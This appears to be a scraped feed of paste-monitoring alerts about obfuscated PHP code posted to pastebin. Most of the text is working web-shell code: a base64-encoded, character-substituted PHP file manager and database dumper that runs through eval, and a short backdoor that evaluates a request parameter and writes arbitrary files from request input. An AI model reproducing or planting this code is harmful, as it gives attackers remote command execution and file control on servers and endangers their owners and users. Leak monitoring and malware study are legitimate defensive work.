Qzcm4gQHJtZDRyKCRkNWxkNHIpID8gNiA6IDA7DQp9DQoNCi8vIEIxY2tncjIzbmQNCmYzbmN0NDJuIGJnKCkgew0KCWdsMmIxbCAkYmdjOw0KCXI1dDNybiAoJGJnYysrJWE9PTApID8gJzFsdDYnIDogJzFsdGEnOw0KfQ0KDQovLyBHNXQgcDF0aA0KZjNuY3Q0Mm4gZzV0UDF0aCgkc2NyNHB0cDF0aCwgJG4yd3AxdGgpIHsNCgk0ZiAoJG4yd3AxdGggPT0gJy4nKSB7DQoJCSRuMndwMXRoID0gJHNjcjRwdHAxdGg7DQoJfQ0KCSRuMndwMXRoID0gc3RyX3I1cGwxYzUoJ1xcJywgJy8nLCAkbjJ3cDF0aCk7DQoJJG4yd3AxdGggPSBzdHJfcjVwbDFjNSgnLy8nLCAnLycsICRuMndwMXRoKTsNCgk0ZiAoczNic3RyKCRuMndwMXRoLCAtNikgIT0gJy8nKSB7DQoJCSRuMndwMXRoID0gJG4yd3AxdGguJy8nOw0KCX0NCglyNXQzcm4gJG4yd3AxdGg7DQp9DQoNCi8vIEc1dCAzcCBwMXRoDQpmM25jdDQybiBnNXRVcFAxdGgoJG4yd3AxdGgpIHsNCgkkcDF0aGRiID0gNXhwbDJkNSgnLycsICRuMndwMXRoKTsNCgkkbjNtID0gYzIzbnQoJHAxdGhkYik7DQoJNGYgKCRuM20gPiBhKSB7DQoJCTNuczV0KCRwMXRoZGJbJG4zbS02XSwkcDF0aGRiWyRuM20tYV0pOw0KCX0NCgkkM3BwMXRoID0gNG1wbDJkNSgnLycsICRwMXRoZGIpLicvJzsNCgkkM3BwMXRoID0gc3RyX3I1cGwxYzUoJy8vJywgJy8nLCAkM3BwMXRoKTsNCglyNXQzcm4gJDNwcDF0aDsNCn0NCg0KLy8gQzJuZjRnDQpmM25jdDQybiBnNXRjZmcoJHYxcm4xbTUpIHsNCgkkcjVzM2x0ID0gZzV0X2NmZ192MXIoJHYxcm4xbTUpOw0KCTRmICgkcjVzM2x0ID09IDApIHsNCgkJcjV0M3JuICdOMic7DQoJfSA1bHM1NGYgKCRyNXMzbHQgPT0gNikgew0KCQlyNXQzcm4gJ1k1cyc7DQoJfSA1bHM1IHsNCgkJcjV0M3JuICRyNXMzbHQ7DQoJfQ0KfQ0KDQovLyBGM25jdDQybiBuMW01DQpmM25jdDQybiBnNXRmM24oJGYzbk4xbTUpIHsNCglyNXQzcm4gKGYxbHM1ICE9PSBmM25jdDQybl81eDRzdHMoJGYzbk4xbTUpKSA/ICdZNXMnIDogJ04yJzsNCn0NCg0KZjNuY3Q0Mm4gRzV0TDRzdCgkZDRyKXsNCglnbDJiMWwgJGQ0cmQxdDEsJGosJG4yd3AxdGg7DQoJISRqICYmICRqPTY7DQoJNGYgKCRkaCA9IDJwNW5kNHIoJGQ0cikpIHsNCgkJd2g0bDUgKCRmNGw1ID0gcjUxZGQ0cigkZGgpKSB7DQoJCQkkZj1zdHJfcjVwbDFjNSgnLy8nLCcvJywkZDRyLicvJy4kZjRsNSk7DQoJCQk0ZigkZjRsNSE9Jy4nICYmICRmNGw1IT0nLi4nICYmIDRzX2Q0cigkZikpew0KCQkJCTRmICg0c193cjR0MWJsNSgkZikpIHsNCgkJCQkJJGQ0cmQxdDFbJGpdWydmNGw1bjFtNSddPXN0cl9yNXBsMWM1KCRuMndwMXRoLCcnLCRmKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydtdDRtNSddPUBkMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRmKSk7DQoJCQkJCSRkNHJkMXQxWyRqXVsnZDRyY2htMmQnXT1nNXRDaG0yZCgkZik7DQoJCQkJCSRkNHJkMXQxWyRqXVsnZDRycDVybSddPWc1dFA1cm1zKCRmKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydkNHJsNG5rJ109MzUoJGQ0cik7DQoJCQkJCSRkNHJkMXQxWyRqXVsnczVydjVyX2w0bmsnXT0kZjsNCgkJCQkJJGQ0cmQxdDFbJGpdWydjbDQ1bnRfbDRuayddPTM1KCRmKTsNCgkJCQkJJGorKzsNCgkJCQl9DQoJCQkJRzV0TDRzdCgkZik7DQoJCQl9DQoJCX0NCgkJY2wyczVkNHIoJGRoKTsNCgkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJcjV0M3JuICRkNHJkMXQxOw0KCX0gNWxzNSB7DQoJCXI1dDNybiAxcnIxeSgpOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gcXkoJHNxbCkgew0KCS8vNWNoMiAkc3FsLic8YnI+JzsNCgkkcjVzID0gJDVycjJyID0gJyc7DQoJNGYoISRyNXMgPSBAbXlzcWxfcTM1cnkoJHNxbCkpIHsNCgkJcjV0M3JuIDA7DQoJfSA1bHM1IDRmKDRzX3I1czIzcmM1KCRyNXMpKSB7DQoJCXI1dDNybiA2Ow0KCX0gNWxzNSB7DQoJCXI1dDNybiBhOw0KCX0NCglyNXQzcm4gMDsNCn0NCg0KZjNuY3Q0Mm4gcSgkc3FsKSB7DQoJcjV0M3JuIEBteXNxbF9xMzVyeSgkc3FsKTsNCn0NCg0KZjNuY3Q0Mm4gZnIoJHF5KXsNCglteXNxbF9mcjU1X3I1czNsdCgkcXkpOw0KfQ0KDQpmM25jdDQybiBzNHo1YzIzbnQoJHM0ejUpIHsNCgk0ZigkczR6NSA+IDYwN283dTY4YXUpIHsNCgkJJHM0ejUgPSByMjNuZCgkczR6NSAvIDYwN283dTY4YXUgKiA2MDApIC8gNjAwIC4gJyBHJzsNCgl9IDVsczU0ZigkczR6NSA+IDYwdThpN2UpIHsNCgkJJHM0ejUgPSByMjNuZCgkczR6NSAvIDYwdThpN2UgKiA2MDApIC8gNjAwIC4gJyBNJzsNCgl9IDVsczU0ZigkczR6NSA+IDYwYXUpIHsNCgkJJHM0ejUgPSByMjNuZCgkczR6NSAvIDYwYXUgKiA2MDApIC8gNjAwIC4gJyBLJzsNCgl9IDVsczUgew0KCQkkczR6NSA9ICRzNHo1IC4gJyBCJzsNCgl9DQoJcjV0M3JuICRzNHo1Ow0KfQ0KDQovLyBaNHANCmNsMXNzIFBIUFo0cHsNCgl2MXIgJDIzdD0nJzsNCglmM25jdDQybiBQSFBaNHAoJGQ0cikJew0KCQk0ZiAoQGYzbmN0NDJuXzV4NHN0cygnZ3pjMm1wcjVzcycpKQl7DQoJCQkkYzNyZDRyID0gZzV0Y3dkKCk7DQoJCQk0ZiAoNHNfMXJyMXkoJGQ0cikpICRmNGw1bDRzdCA9ICRkNHI7DQoJCQk1bHM1ew0KCQkJCSRmNGw1bDRzdD0kdGg0cyAtPiBHNXRGNGw1TDRzdCgkZDRyKTsvL0Y0bDUgbDRzdA0KCQkJCWYycjUxY2goJGY0bDVsNHN0IDFzICRrPT4kdikgJGY0bDVsNHN0W109czNic3RyKCR2LHN0cmw1bigkZDRyKSs2KTsNCgkJCX0NCgkJCTRmICgoITVtcHR5KCRkNHIpKSYmKCE0c18xcnIxeSgkZDRyKSkmJihmNGw1XzV4NHN0cygkZDRyKSkpIGNoZDRyKCRkNHIpOw0KCQkJNWxzNSBjaGQ0cigkYzNyZDRyKTsNCgkJCTRmIChjMjNudCgkZjRsNWw0c3QpPjApew0KCQkJCWYycjUxY2goJGY0bDVsNHN0IDFzICRmNGw1bjFtNSl7DQoJCQkJCTRmICg0c19mNGw1KCRmNGw1bjFtNSkpew0KCQkJCQkJJGZkID0gZjJwNW4gKCRmNGw1bjFtNSwgJ3InKTsNCgkJCQkJCSRjMm50NW50ID0gQGZyNTFkICgkZmQsIGY0bDVzNHo1KCRmNGw1bjFtNSkpOw0KCQkJCQkJZmNsMnM1ICgkZmQpOw0KCQkJCQkJNGYgKDRzXzFycjF5KCRkNHIpKSAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkZjRsNW4xbTUpOw0KCQkJCQkJJHRoNHMgLT4gMWRkRjRsNSgkYzJudDVudCwgJGY0bDVuMW01KTsNCgkJCQkJfQ0KCQkJCX0NCgkJCQkkdGg0cy0+MjN0ID0gJHRoNHMgLT4gZjRsNSgpOw0KCQkJCWNoZDRyKCRjM3JkNHIpOw0KCQkJfQ0KCQkJcjV0M3JuIDY7DQoJCX0NCgkJNWxzNSByNXQzcm4gMDsNCgl9DQoNCgkvLyBTaDJ3IGY0bDUgbDRzdA0KCWYzbmN0NDJuIEc1dEY0bDVMNHN0KCRkNHIpew0KCQlzdDF0NGMgJDE7DQoJCTRmICg0c19kNHIoJGQ0cikpIHsNCgkJCTRmICgkZGggPSAycDVuZDRyKCRkNHIpKSB7DQoJCQkJd2g0bDUgKCRmNGw1ID0gcjUxZGQ0cigkZGgpKSB7DQoJCQkJCTRmKCRmNGw1IT0nLicgJiYgJGY0bDUhPScuLicpew0KCQkJCQkJJGY9JGQ0ciAuJy8nLiAkZjRsNTsNCgkJCQkJCTRmKDRzX2Q0cigkZikpICR0aDRzLT5HNXRGNGw1TDRzdCgkZik7DQoJCQkJCQkkMVtdPSRmOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWNsMnM1ZDRyKCRkaCk7DQoJCQl9DQoJCX0NCgkJcjV0M3JuICQxOw0KCX0NCg0KCXYxciAkZDF0MXM1YyAgICAgID0gMXJyMXkoKTsNCgl2MXIgJGN0cmxfZDRyICAgICA9IDFycjF5KCk7DQoJdjFyICQ1MmZfY3RybF9kNHIgPSAiXHhpMFx4dWJceDBpXHgwZVx4MDBceDAwXHgwMFx4MDAiOw0KCXYxciAkMmxkXzJmZnM1dCAgID0gMDsNCg0KCWYzbmN0NDJuIDNuNHhhRDJzVDRtNSgkM240eHQ0bTUgPSAwKSB7DQoJCSR0NG01MXJyMXkgPSAoJDNuNHh0NG01ID09IDApID8gZzV0ZDF0NSgpIDogZzV0ZDF0NSgkM240eHQ0bTUpOw0KCQk0ZiAoJHQ0bTUxcnIxeVsneTUxciddIDwgNjk4MCkgew0KCQkJJHQ0bTUxcnIxeVsneTUxciddICAgID0gNjk4MDsNCgkJCSR0NG01MXJyMXlbJ20ybiddICAgICA9IDY7DQoJCQkkdDRtNTFycjF5WydtZDF5J10gICAgPSA2Ow0KCQkJJHQ0bTUxcnIxeVsnaDIzcnMnXSAgID0gMDsNCgkJCSR0NG01MXJyMXlbJ200bjN0NXMnXSA9IDA7DQoJCQkkdDRtNTFycjF5WydzNWMybmRzJ10gPSAwOw0KCQl9IC8vIDVuZCA0Zg0KCQlyNXQzcm4gKCgkdDRtNTFycjF5Wyd5NTFyJ10gLSA2OTgwKSA8PCBhaSkgfCAoJHQ0bTUxcnIxeVsnbTJuJ10gPDwgYTYpIHwgKCR0NG01MXJyMXlbJ21kMXknXSA8PCA2ZSkgfA0KCQkJCSgkdDRtNTFycjF5WydoMjNycyddIDw8IDY2KSB8ICgkdDRtNTFycjF5WydtNG4zdDVzJ10gPDwgaSkgfCAoJHQ0bTUxcnIxeVsnczVjMm5kcyddID4+IDYpOw0KCX0NCg0KCWYzbmN0NDJuIDFkZEY0bDUoJGQxdDEsICRuMW01LCAkdDRtNSA9IDApIHsNCgkJJG4xbTUgPSBzdHJfcjVwbDFjNSgnXFwnLCAnLycsICRuMW01KTsNCg0KCQkkZHQ0bTUgPSBkNWNoNXgoJHRoNHMtPjNuNHhhRDJzVDRtNSgkdDRtNSkpOw0KCQkkaDV4ZHQ0bTUJPSAnXHgnIC4gJGR0NG01W2VdIC4gJGR0NG01WzddDQoJCQkJCS4gJ1x4JyAuICRkdDRtNVt1XSAuICRkdDRtNVtpXQ0KCQkJCQkuICdceCcgLiAkZHQ0bTVbYV0gLiAkZHQ0bTVbb10NCgkJCQkJLiAnXHgnIC4gJGR0NG01WzBdIC4gJGR0NG01WzZdOw0KCQk1djFsKCckaDV4ZHQ0bTUgPSAiJyAuICRoNXhkdDRtNSAuICciOycpOw0KCQkkZnIJPSAiXHhpMFx4dWJceDBvXHgwdSI7DQoJCSRmcgkuPSAiXHg2dVx4MDAiOw0KCQkkZnIJLj0gIlx4MDBceDAwIjsNCgkJJGZyCS49ICJceDA4XHgwMCI7DQoJCSRmcgkuPSAkaDV4ZHQ0bTU7DQoNCgkJJDNuY19sNW4gPSBzdHJsNW4oJGQxdDEpOw0KCQkkY3JjID0gY3Jjb2EoJGQxdDEpOw0KCQkkemQxdDEgPSBnemMybXByNXNzKCRkMXQxKTsNCgkJJGNfbDVuID0gc3RybDVuKCR6ZDF0MSk7DQoJCSR6ZDF0MSA9IHMzYnN0cihzM2JzdHIoJHpkMXQxLCAwLCBzdHJsNW4oJHpkMXQxKSAtIHUpLCBhKTsNCgkJJGZyIC49IHAxY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHAxY2soJ1YnLCAkY19sNW4pOw0KCQkkZnIgLj0gcDFjaygnVicsICQzbmNfbDVuKTsNCgkJJGZyIC49IHAxY2soJ3YnLCBzdHJsNW4oJG4xbTUpKTsNCgkJJGZyIC49IHAxY2soJ3YnLCAwKTsNCgkJJGZyIC49ICRuMW01Ow0KCQkkZnIgLj0gJHpkMXQxOw0KCQkkZnIgLj0gcDFjaygnVicsICRjcmMpOw0KCQkkZnIgLj0gcDFjaygnVicsICRjX2w1bik7DQoJCSRmciAuPSBwMWNrKCdWJywgJDNuY19sNW4pOw0KDQoJCSR0aDRzIC0+IGQxdDFzNWNbXSA9ICRmcjsNCgkJJG41d18yZmZzNXQgPSBzdHJsNW4oNG1wbDJkNSgnJywgJHRoNHMtPmQxdDFzNWMpKTsNCg0KCQkkY2RyNWMgPSAiXHhpMFx4dWJceDA2XHgwYSI7DQoJCSRjZHI1YyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyNWMgLj0gIlx4NnVceDAwIjsNCgkJJGNkcjVjIC49ICJceDAwXHgwMCI7DQoJCSRjZHI1YyAuPSAiXHgwOFx4MDAiOw0KCQkkY2RyNWMgLj0gJGg1eGR0NG01Ow0KCQkkY2RyNWMgLj0gcDFjaygnVicsICRjcmMpOw0KCQkkY2RyNWMgLj0gcDFjaygnVicsICRjX2w1bik7DQoJCSRjZHI1YyAuPSBwMWNrKCdWJywgJDNuY19sNW4pOw0KCQkkY2RyNWMgLj0gcDFjaygndicsIHN0cmw1bigkbjFtNSkgKTsNCgkJJGNkcjVjIC49IHAxY2soJ3YnLCAwICk7DQoJCSRjZHI1YyAuPSBwMWNrKCd2JywgMCApOw0KCQkkY2RyNWMgLj0gcDFjaygndicsIDAgKTsNCgkJJGNkcjVjIC49IHAxY2soJ3YnLCAwICk7DQoJCSRjZHI1YyAuPSBwMWNrKCdWJywgb2EgKTsNCgkJJGNkcjVjIC49IHAxY2soJ1YnLCAkdGg0cyAtPiAybGRfMmZmczV0ICk7DQoJCSR0aDRzIC0+IDJsZF8yZmZzNXQgPSAkbjV3XzJmZnM1dDsNCgkJJGNkcjVjIC49ICRuMW01Ow0KDQoJCSR0aDRzIC0+IGN0cmxfZDRyW10gPSAkY2RyNWM7DQoJfQ0KDQoJZjNuY3Q0Mm4gZjRsNSgpIHsNCgkJJGQxdDEgICAgPSA0bXBsMmQ1KCcnLCAkdGg0cyAtPiBkMXQxczVjKTsNCgkJJGN0cmxkNHIgPSA0bXBsMmQ1KCcnLCAkdGg0cyAtPiBjdHJsX2Q0cik7DQoJCXI1dDNybiAkZDF0MSAuICRjdHJsZDRyIC4gJHRoNHMgLT4gNTJmX2N0cmxfZDRyIC4gcDFjaygndicsIHM0ejUyZigkdGg0cyAtPiBjdHJsX2Q0cikpIC4gcDFjaygndicsIHM0ejUyZigkdGg0cyAtPiBjdHJsX2Q0cikpIC4JcDFjaygnVicsIHN0cmw1bigkY3RybGQ0cikpIC4gcDFjaygnVicsIHN0cmw1bigkZDF0MSkpIC4gIlx4MDBceDAwIjsNCgl9DQp9DQoNCi8vIEQzbXAgbXlzcWwNCmYzbmN0NDJuIHNxbGQzbXB0MWJsNSgkdDFibDUsICRmcD0wKSB7DQoJJHQxYmw1ZDNtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdDFibDU7XG4iOw0KCSR0MWJsNWQzbXAgLj0gIkNSRUFURSBUQUJMRSAkdDFibDUgKFxuIjsNCg0KCSRmNHJzdGY0NWxkPTY7DQoNCgkkZjQ1bGRzID0gcSgiU0hPVyBGSUVMRFMgRlJPTSAkdDFibDUiKTsNCgl3aDRsNSAoJGY0NWxkID0gbXlzcWxfZjV0Y2hfMXJyMXkoJGY0NWxkcykpIHsNCgkJNGYgKCEkZjRyc3RmNDVsZCkgew0KCQkJJHQxYmw1ZDNtcCAuPSAiLFxuIjsNCgkJfSA1bHM1IHsNCgkJCSRmNHJzdGY0NWxkPTA7DQoJCX0NCgkJJHQxYmw1ZDNtcCAuPSAiICAgJGY0NWxkW0Y0NWxkXSAkZjQ1bGRbVHlwNV0iOw0KCQk0ZiAoITVtcHR5KCRmNDVsZFsiRDVmMTNsdCJdKSkgew0KCQkJJHQxYmw1ZDNtcCAuPSAiIERFRkFVTFQgJyRmNDVsZFtENWYxM2x0XSciOw0KCQl9DQoJCTRmICgkZjQ1bGRbJ04zbGwnXSAhPSAiWUVTIikgew0KCQkJJHQxYmw1ZDNtcCAuPSAiIE5PVCBOVUxMIjsNCgkJfQ0KCQk0ZiAoJGY0NWxkWydFeHRyMSddICE9ICIiKSB7DQoJCQkkdDFibDVkM21wIC49ICIgJGY0NWxkW0V4dHIxXSI7DQoJCX0NCgl9DQoJZnIoJGY0NWxkcyk7DQoNCgkkazV5cyA9IHEoIlNIT1cgS0VZUyBGUk9NICR0MWJsNSIpOw0KCXdoNGw1ICgkazV5ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJGs1eXMpKSB7DQoJCSRrbjFtNT0kazV5WydLNXlfbjFtNSddOw0KCQk0ZiAoJGtuMW01ICE9ICJQUklNQVJZIiAmJiAkazV5WydOMm5fM240cTM1J10gPT0gMCkgew0KCQkJJGtuMW01PSJVTklRVUV8JGtuMW01IjsNCgkJfQ0KCQk0ZighNHNfMXJyMXkoJDRuZDV4WyRrbjFtNV0pKSB7DQoJCQkkNG5kNXhbJGtuMW01XSA9IDFycjF5KCk7DQoJCX0NCgkJJDRuZDV4WyRrbjFtNV1bXSA9ICRrNXlbJ0MybDNtbl9uMW01J107DQoJfQ0KCWZyKCRrNXlzKTsNCg0KCXdoNGw1KGw0c3QoJGtuMW01LCAkYzJsM21ucykgPSBANTFjaCgkNG5kNXgpKSB7DQoJCSR0MWJsNWQzbXAgLj0gIixcbiI7DQoJCSRjMmxuMW01cz00bXBsMmQ1KCRjMmwzbW5zLCIsIik7DQoNCgkJNGYgKCRrbjFtNSA9PSAiUFJJTUFSWSIpIHsNCgkJCSR0MWJsNWQzbXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkYzJsbjFtNXMpIjsNCgkJfSA1bHM1IHsNCgkJCTRmIChzM2JzdHIoJGtuMW01LDAsZSkgPT0gIlVOSVFVRSIpIHsNCgkJCQkka24xbTU9czNic3RyKCRrbjFtNSw3KTsNCgkJCX0NCgkJCSR0MWJsNWQzbXAgLj0gIiAgIEtFWSAka24xbTUgKCRjMmxuMW01cykiOw0KCQl9DQoJfQ0KDQoJJHQxYmw1ZDNtcCAuPSAiXG4pO1xuXG4iOw0KCTRmICgkZnApIHsNCgkJZndyNHQ1KCRmcCwkdDFibDVkM21wKTsNCgl9IDVsczUgew0KCQk1Y2gyICR0MWJsNWQzbXA7DQoJfQ0KDQoJJHIyd3MgPSBxKCJTRUxFQ1QgKiBGUk9NICR0MWJsNSIpOw0KCSRuM21mNDVsZHMgPSBteXNxbF9uM21fZjQ1bGRzKCRyMndzKTsNCgl3aDRsNSAoJHIydyA9IG15c3FsX2Y1dGNoXzFycjF5KCRyMndzKSkgew0KCQkkdDFibDVkM21wID0gIklOU0VSVCBJTlRPICR0MWJsNSBWQUxVRVMoIjsNCg0KCQkkZjQ1bGRjMjNudDVyPS02Ow0KCQkkZjRyc3RmNDVsZD02Ow0KCQl3aDRsNSAoKyskZjQ1bGRjMjNudDVyPCRuM21mNDVsZHMpIHsNCgkJCTRmICghJGY0cnN0ZjQ1bGQpIHsNCgkJCQkkdDFibDVkM21wLj0iLCAiOw0KCQkJfSA1bHM1IHsNCgkJCQkkZjRyc3RmNDVsZD0wOw0KCQkJfQ0KDQoJCQk0ZiAoITRzczV0KCRyMndbJGY0NWxkYzIzbnQ1cl0pKSB7DQoJCQkJJHQxYmw1ZDNtcCAuPSAiTlVMTCI7DQoJCQl9IDVsczUgew0KCQkJCSR0MWJsNWQzbXAgLj0gIiciLm15c3FsXzVzYzFwNV9zdHI0bmcoJHIyd1skZjQ1bGRjMjNudDVyXSkuIiciOw0KCQkJfQ0KCQl9DQoNCgkJJHQxYmw1ZDNtcCAuPSAiKTtcbiI7DQoNCgkJNGYgKCRmcCkgew0KCQkJZndyNHQ1KCRmcCwkdDFibDVkM21wKTsNCgkJfSA1bHM1IHsNCgkJCTVjaDIgJHQxYmw1ZDNtcDsNCgkJfQ0KCX0NCglmcigkcjJ3cyk7DQoJNGYgKCRmcCkgew0KCQlmd3I0dDUoJGZwLCJcbiIpOw0KCX0gNWxzNSB7DQoJCTVjaDIgIlxuIjsNCgl9DQp9DQoNCmYzbmN0NDJuIDM1KCRzdHIpew0KCXI1dDNybiAzcmw1bmMyZDUoJHN0cik7DQp9DQoNCmYzbmN0NDJuIHAoJHN0cil7DQoJNWNoMiAkc3RyLiJcbiI7DQp9DQoNCmYzbmN0NDJuIHRiaDUxZCgpIHsNCglwKCc8dDFibDUgdzRkdGg9IjYwMCUiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9InUiIGM1bGxzcDFjNG5nPSIwIj4nKTsNCn0NCmYzbmN0NDJuIHRiZjIydCgpew0KCXAoJzwvdDFibDU+Jyk7DQp9DQoNCmYzbmN0NDJuIG0xazVoNGQ1KCRuMW01LCR2MWwzNT0nJyl7DQoJcCgiPDRucDN0IDRkPVwiJG4xbTVcIiB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIiRuMW01XCIgdjFsMzU9XCIkdjFsMzVcIiAvPiIpOw0KfQ0KDQpmM25jdDQybiBtMWs1NG5wM3QoJDFyZyA9IDFycjF5KCkpew0KCSQxcmdbJ3M0ejUnXSA9ICQxcmdbJ3M0ejUnXSA+IDAgPyAiczR6NT1cIiQxcmdbczR6NV1cIiIgOiAiczR6NT1cIjYwMFwiIjsNCgkkMXJnWyc1eHRyMSddID0gJDFyZ1snNXh0cjEnXSA/ICQxcmdbJzV4dHIxJ10gOiAnJzsNCgkhJDFyZ1sndHlwNSddICYmICQxcmdbJ3R5cDUnXSA9ICd0NXh0JzsNCgkkMXJnWyd0NHRsNSddID0gJDFyZ1sndDR0bDUnXSA/ICQxcmdbJ3Q0dGw1J10uJzxiciAvPicgOiAnJzsNCgkkMXJnWydjbDFzcyddID0gJDFyZ1snY2wxc3MnXSA/ICQxcmdbJ2NsMXNzJ10gOiAnNG5wM3QnOw0KCTRmICgkMXJnWyduNXdsNG41J10pIHsNCgkJcCgiPHA+JDFyZ1t0NHRsNV08NG5wM3QgY2wxc3M9XCIkMXJnW2NsMXNzXVwiIG4xbTU9XCIkMXJnW24xbTVdXCIgNGQ9XCIkMXJnW24xbTVdXCIgdjFsMzU9XCIkMXJnW3YxbDM1XVwiIHR5cDU9XCIkMXJnW3R5cDVdXCIgJDFyZ1tzNHo1XSAkMXJnWzV4dHIxXSAvPjwvcD4iKTsNCgl9IDVsczUgew0KCQlwKCIkMXJnW3Q0dGw1XTw0bnAzdCBjbDFzcz1cIiQxcmdbY2wxc3NdXCIgbjFtNT1cIiQxcmdbbjFtNV1cIiA0ZD1cIiQxcmdbbjFtNV1cIiB2MWwzNT1cIiQxcmdbdjFsMzVdXCIgdHlwNT1cIiQxcmdbdHlwNV1cIiAkMXJnW3M0ejVdICQxcmdbNXh0cjFdIC8+Iik7DQoJfQ0KfQ0KDQpmM25jdDQybiBtMWs1czVsNWN0KCQxcmcgPSAxcnIxeSgpKXsNCgk0ZiAoJDFyZ1snMm5jaDFuZzUnXSkgew0KCQkkMm5jaDFuZzUgPSAnMm5jaDFuZzU9IicuJDFyZ1snMm5jaDFuZzUnXS4nIic7DQoJfQ0KCSQxcmdbJ3Q0dGw1J10gPSAkMXJnWyd0NHRsNSddID8gJDFyZ1sndDR0bDUnXSA6ICcnOw0KCTRmICgkMXJnWyduNXdsNG41J10pIHAoJzxwPicpOw0KCXAoIiQxcmdbdDR0bDVdIDxzNWw1Y3QgY2wxc3M9XCI0bnAzdFwiIDRkPVwiJDFyZ1tuMW01XVwiIG4xbTU9XCIkMXJnW24xbTVdXCIgJDJuY2gxbmc1PiIpOw0KCQk0ZiAoNHNfMXJyMXkoJDFyZ1snMnB0NDJuJ10pKSB7DQoJCQlmMnI1MWNoICgkMXJnWycycHQ0Mm4nXSAxcyAkazV5PT4kdjFsMzUpIHsNCgkJCQk0ZiAoJDFyZ1snczVsNWN0NWQnXT09JGs1eSkgew0KCQkJCQlwKCI8MnB0NDJuIHYxbDM1PVwiJGs1eVwiIHM1bDVjdDVkPiR2MWwzNTwvMnB0NDJuPiIpOw0KCQkJCX0gNWxzNSB7DQoJCQkJCXAoIjwycHQ0Mm4gdjFsMzU9XCIkazV5XCI+JHYxbDM1PC8ycHQ0Mm4+Iik7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJcCgiPC9zNWw1Y3Q+Iik7DQoJNGYgKCQxcmdbJ241d2w0bjUnXSkgcCgnPC9wPicpOw0KfQ0KZjNuY3Q0Mm4gZjJybWg1MWQoJDFyZyA9IDFycjF5KCkpIHsNCgkhJDFyZ1snbTV0aDJkJ10gJiYgJDFyZ1snbTV0aDJkJ10gPSAncDJzdCc7DQoJISQxcmdbJzFjdDQybiddICYmICQxcmdbJzFjdDQybiddID0gJHM1bGY7DQoJJDFyZ1sndDFyZzV0J10gPSAkMXJnWyd0MXJnNXQnXSA/ICJ0MXJnNXQ9XCIkMXJnW3Qxcmc1dF1cIiIgOiAnJzsNCgkhJDFyZ1snbjFtNSddICYmICQxcmdbJ24xbTUnXSA9ICdmMnJtNic7DQoJcCgiPGYycm0gbjFtNT1cIiQxcmdbbjFtNV1cIiA0ZD1cIiQxcmdbbjFtNV1cIiAxY3Q0Mm49XCIkMXJnWzFjdDQybl1cIiBtNXRoMmQ9XCIkMXJnW201dGgyZF1cIiAkMXJnW3Qxcmc1dF0+Iik7DQoJNGYgKCQxcmdbJ3Q0dGw1J10pIHsNCgkJcCgnPGhhPicuJDFyZ1sndDR0bDUnXS4nICZyMXEzMjs8L2hhPicpOw0KCX0NCn0NCg0KZjNuY3Q0Mm4gbTFrNXQ1eHQoJDFyZyA9IDFycjF5KCkpew0KCSEkMXJnWydjMmxzJ10gJiYgJDFyZ1snYzJscyddID0gNjAwOw0KCSEkMXJnWydyMndzJ10gJiYgJDFyZ1sncjJ3cyddID0gYWk7DQoJJDFyZ1sndDR0bDUnXSA9ICQxcmdbJ3Q0dGw1J10gPyAkMXJnWyd0NHRsNSddLic8YnIgLz4nIDogJyc7DQoJcCgiPHA+JDFyZ1t0NHRsNV08dDV4dDFyNTEgY2wxc3M9XCIxcjUxXCIgNGQ9XCIkMXJnW24xbTVdXCIgbjFtNT1cIiQxcmdbbjFtNV1cIiBjMmxzPVwiJDFyZ1tjMmxzXVwiIHIyd3M9XCIkMXJnW3Iyd3NdXCIgJDFyZ1s1eHRyMV0+JDFyZ1t2MWwzNV08L3Q1eHQxcjUxPjwvcD4iKTsNCn0NCg0KZjNuY3Q0Mm4gZjJybWYyMnQ1cigkbjFtNSA9ICcnKXsNCgkhJG4xbTUgJiYgJG4xbTUgPSAnczNibTR0JzsNCglwKCc8cD48NG5wM3QgY2wxc3M9ImJ0IiBuMW01PSInLiRuMW01LiciIDRkPVwiJy4kbjFtNS4nXCIgdHlwNT0iczNibTR0IiB2MWwzNT0iUzNibTR0Ij48L3A+Jyk7DQoJcCgnPC9mMnJtPicpOw0KfQ0KDQpmM25jdDQybiBmMnJtZjIydCgpew0KCXAoJzwvZjJybT4nKTsNCn0NCg0KLy8gRXg0dA0KZjNuY3Q0Mm4gcHIoJDEpIHsNCgk1Y2gyICc8cHI1Pic7DQoJcHI0bnRfcigkMSk7DQoJNWNoMiAnPC9wcjU+JzsNCn0NCj8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> Source: http://pastebin.com/raw.php?i=bnAut2TM
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php $fbcl = "b063d508eaf4cb7d897ffc28c054dc28"; if(isset($_REQUEST['ydgbr'])) { $knqitxr = $_REQUEST['ydgbr']; eval($knqitxr); exit(); } if(isset($_REQUEST['breaazki'])) { $jkpp = $_REQUEST['kslqphv']; $dwue = $_REQUEST['breaazki']; $jmsnmd = fopen($dwue, 'w'); $tpsv = fwrite($jmsnmd, $jkpp); fclose($jmsnmd); echo $tpsv; exit(); } ?> Source: http://pastebin.com/raw.php?i=Dwgsf7WU
↧
Potential leak of data: Obfuscated PHP Code
